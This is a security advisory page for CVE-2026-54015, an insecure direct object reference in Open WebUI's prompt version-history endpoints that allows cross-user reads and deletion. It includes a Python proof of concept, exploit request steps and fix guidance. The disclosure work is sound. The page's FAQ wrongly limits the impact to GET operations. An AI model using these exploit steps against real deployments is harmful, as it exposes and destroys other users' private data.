CVE-2026-54015: Open WebUI: Prompt history IDOR: unbound history_id allows cross-prompt read and deletion

Published Jun 17, 2026
·
Updated

Summary

Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). Three operations are affected:

- GET /api/v1/prompts/id/{promptid}/history/diff — returns another prompt's history snapshots (read). - POST /api/v1/prompts/id/{promptid}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - DELETE /api/v1/prompts/id/{promptid}/history/{historyid} — deletes another prompt's history entry (delete).

An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{historyid}) already enforces the binding; these three did not.

Impact

Security boundary crossed: prompt confidentiality and integrity.

Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompthistory.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.

Root Cause

The route checks read access only for promptid:

python backend/openwebui/routers/prompts.py prompt = await Prompts.getpromptbyid(promptid, db=db) ... if not ( user.role == 'admin' or prompt.userid == user.id or await AccessGrants.hasaccess( userid=user.id, resourcetype='prompt', resourceid=prompt.id, permission='read', db=db, ) ): raise HTTPException(...)

But the authorized prompt ID is not passed into the diff sink:

python backend/openwebui/routers/prompts.py diff = await PromptHistories.computediff(fromid, toid, db=db)

computediff() fetches both history entries globally by ID and returns their full snapshots:

python backend/openwebui/models/prompthistory.py resultfrom = await db.execute(select(PromptHistory).filter(PromptHistory.id == fromid)) fromentry = resultfrom.scalars().first() resultto = await db.execute(select(PromptHistory).filter(PromptHistory.id == toid)) toentry = resultto.scalars().first() ... return { 'fromsnapshot': fromsnapshot, 'tosnapshot': tosnapshot, ... }

There is no check that fromentry.promptid == promptid or toentry.promptid == promptid.

The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by versionid:

python backend/openwebui/models/prompts.py — updatepromptversion historyentry = await PromptHistories.gethistoryentrybyid(versionid, db=session) ... prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt prompt.versionid = versionid

DELETE .../history/{historyid} deletes an entry fetched globally by historyid:

python backend/openwebui/models/prompthistory.py — deletehistoryentry result = await db.execute(select(PromptHistory).filterby(id=historyid)) entry = result.scalars().first() ... await db.delete(entry)

Neither checks entry.promptid == prompt.id. The single-entry read endpoint (GET .../history/{historyid}) does (historyentry.promptid != prompt.id → 404); these three endpoints were missing it.

PoC

python #!/usr/bin/env python3 """ PoC for prompt history diff IDOR.

The PoC executes: - the real routers.prompts.getpromptdiff() route function - the real PromptHistories.computediff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The security-sensitive behavior under test is that the route authorizes the prompt ID in the URL, then computes a diff for arbitrary history IDs without checking that those history rows belong to the authorized prompt. """

from future import annotations

import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace

def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"

class DummyTyper: def command(self, args, kwargs): return lambda fn: fn

sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))

class FakeScalarResult: def init(self, row): self.row = row

def first(self): return self.row

class FakeExecuteResult: def init(self, row): self.row = row

def scalars(self): return FakeScalarResult(self.row)

class FakePromptHistoryDb: def init(self, rows): self.rows = rows self.calls = 0

async def execute(self, stmt): row = self.rows[self.calls] self.calls += 1 return FakeExecuteResult(row)

class FakeDbContext: def init(self, db): self.db = db

async def aenter(self): return self.db

async def aexit(self, exctype, exc, tb): return False

async def runrealcomputediff(fromid: str, toid: str): import openwebui.models.prompthistory as historymodule

victimfrom = SimpleNamespace( id=fromid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", }, ) victimto = SimpleNamespace( id=toid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", }, )

fakedb = FakePromptHistoryDb([victimfrom, victimto]) originalcontext = historymodule.getasyncdbcontext try: historymodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) diff = await historymodule.PromptHistories.computediff(fromid, toid) finally: historymodule.getasyncdbcontext = originalcontext

return diff

async def main() -> None: prepareimports()

import openwebui.routers.prompts as promptsrouter

attackerprompt = SimpleNamespace( id="attacker-prompt", userid="attacker", ) attacker = SimpleNamespace(id="attacker", role="user") victimfromid = "victim-history-from" victimtoid = "victim-history-to"

class FakePrompts: lookeduppromptids = []

async def getpromptbyid(self, promptid, db=None): self.lookeduppromptids.append(promptid) if promptid == "attacker-prompt": return attackerprompt return None

class FakeAccessGrants: async def hasaccess(self, args, kwargs): return False

class FakePromptHistories: computediffcalls = []

async def computediff(self, fromid, toid, db=None): self.computediffcalls.append( { "fromid": fromid, "toid": toid, "authorizedpromptidnotpassed": True, } ) return await runrealcomputediff(fromid, toid)

fakeprompts = FakePrompts() fakehistories = FakePromptHistories()

original = { "Prompts": promptsrouter.Prompts, "AccessGrants": promptsrouter.AccessGrants, "PromptHistories": promptsrouter.PromptHistories, } try: promptsrouter.Prompts = fakeprompts promptsrouter.AccessGrants = FakeAccessGrants() promptsrouter.PromptHistories = fakehistories

diff = await promptsrouter.getpromptdiff( promptid="attacker-prompt", fromid=victimfromid, toid=victimtoid, user=attacker, db=None, ) finally: for name, value in original.items(): setattr(promptsrouter, name, value)

result = { "confirmed": ( diff.get("fromsnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV1" and diff.get("tosnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV2" and fakeprompts.lookeduppromptids == ["attacker-prompt"] and fakehistories.computediffcalls and fakehistories.computediffcalls[0]["authorizedpromptidnotpassed"] is True ), "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "victimpromptid": "victim-prompt", "victimhistoryids": [victimfromid, victimtoid], "promptidsauthorizedbyroute": fakeprompts.lookeduppromptids, "computediffcalls": fakehistories.computediffcalls, "leakedfromsnapshot": diff.get("fromsnapshot"), "leakedtosnapshot": diff.get("tosnapshot"), "source": { "route": "backend/openwebui/routers/prompts.py:getpromptdiff", "sink": "backend/openwebui/models/prompthistory.py:PromptHistories.computediff", }, } print(json.dumps(result, indent=2, sortkeys=True)) if not result["confirmed"]: raise SystemExit(1)

if name == "main": asyncio.run(main())

The PoC executes the real route function and the real PromptHistories.computediff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.

Result:

json { "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "confirmed": true, "leakedfromsnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", "name": "Victim Prompt" }, "leakedtosnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", "name": "Victim Prompt" }, "promptidsauthorizedbyroute": [ "attacker-prompt" ], "victimhistoryids": [ "victim-history-from", "victim-history-to" ], "victimpromptid": "victim-prompt" }

Exploit Sketch

Read via the diff endpoint:

1. Attacker has read access to ATTACKERPROMPTID. 2. Attacker knows two history IDs for a victim prompt: VICTIMFROMHISTORYID and VICTIMTOHISTORYID. 3. Attacker requests:

text GET /api/v1/prompts/id/ATTACKERPROMPTID/history/diff?fromid=VICTIMFROMHISTORYID&toid=VICTIMTOHISTORYID

4. The server authorizes ATTACKERPROMPTID, then returns snapshots for the victim history IDs.

Read via restore (update/version): the attacker POSTs {"versionid": "VICTIMHISTORYID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.

Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKERPROMPTID/history/VICTIMHISTORYID; the victim history entry is removed.

Recommended Fix

Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:

- computediff() should accept promptid and query both entries with PromptHistory.promptid == promptid alongside the id filter. - deletehistoryentry() should accept promptid and filter filterby(id=historyid, promptid=promptid). - updatepromptversion() should reject historyentry.promptid != promptid before restoring.

Return 404/403 on mismatch.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing historyentry.promptid == prompt.id binding) reached through different endpoints:

- Diff-endpoint read and history deletion: @0xEr3n (earliest filings). - update/version restore-read: distinct path demonstrated by @5yu4n.

One CVE for the consolidated advisory.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). This affects /api/v1/prompts/id/{promptid}/history/diff, /api/v1/prompts/id/{promptid}/update/version, and /api/v1/prompts/id/{promptid}/history/{historyid}. An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade open_webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  3. Configuration

    In each affected endpoint, when acting on a caller-supplied history id (history_id/version_id), verify the fetched history row belongs to the authorized prompt bound by the prompt_id in the URL (i.e., require history_entry.prompt_id == prompt.id; for diff also require from_entry.prompt_id == prompt_id and to_entry.prompt_id == prompt_id).

    Open WebUI prompt history endpoints (/api/v1/prompts/id/{prompt_id}/history/diff, /api/v1/prompts/id/{prompt_id}/update/version, /api/v1/prompts/id/{prompt_id}/history/{history_id}) history ownership binding = Enforce history_entry.prompt_id == prompt.id for all history_id/version_id operations
  4. Configuration

    Update compute_diff so it accepts prompt_id and queries both history entries with PromptHistory.prompt_id == prompt_id in addition to filtering by from_id/to_id, preventing cross-prompt diff reads.

    Open WebUI PromptHistories.compute_diff(from_id, to_id, db) history row filtering = Use PromptHistory.prompt_id == prompt_id alongside id filtering for both entries
  5. Configuration

    Update delete_history_entry to accept prompt_id and filter the history row with both id=history_id and prompt_id=prompt_id before deleting, preventing cross-prompt history deletion.

    Open WebUI PromptHistories.delete_history_entry(...) history row filtering = Filter by history id AND prompt_id (filter_by(id=history_id, prompt_id=prompt_id))
  6. Configuration

    In update/version restore flow, before copying/restoring a snapshot, check history_entry.prompt_id != prompt_id and reject (return 404/403 per the described behavior) when the snapshot belongs to a different prompt.

    Open WebUI prompts update/version (restore snapshot) endpoint restore snapshot authorization check = Reject when history_entry.prompt_id != prompt_id before restoring

Event History

Jun 17, 2026
Advisory Published
via GitHub·02:16 PM
Data Sourced
via GitHub·02:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:44 PM
Data Sourced
via MITRE·04:44 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54015?

The severity of CVE-2026-54015 is medium, rated at 6.4 on the CVSS scale.

2

How do I fix CVE-2026-54015?

Fixing CVE-2026-54015 involves implementing proper authorization checks to ensure that the history IDs belong to the authenticated prompt.

3

What software is affected by CVE-2026-54015?

CVE-2026-54015 affects the pip package open-webui.

4

What operations are impacted by CVE-2026-54015?

CVE-2026-54015 impacts the GET operations on the version-history endpoints for prompts.

5

When was CVE-2026-54015 published?

CVE-2026-54015 was published on June 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203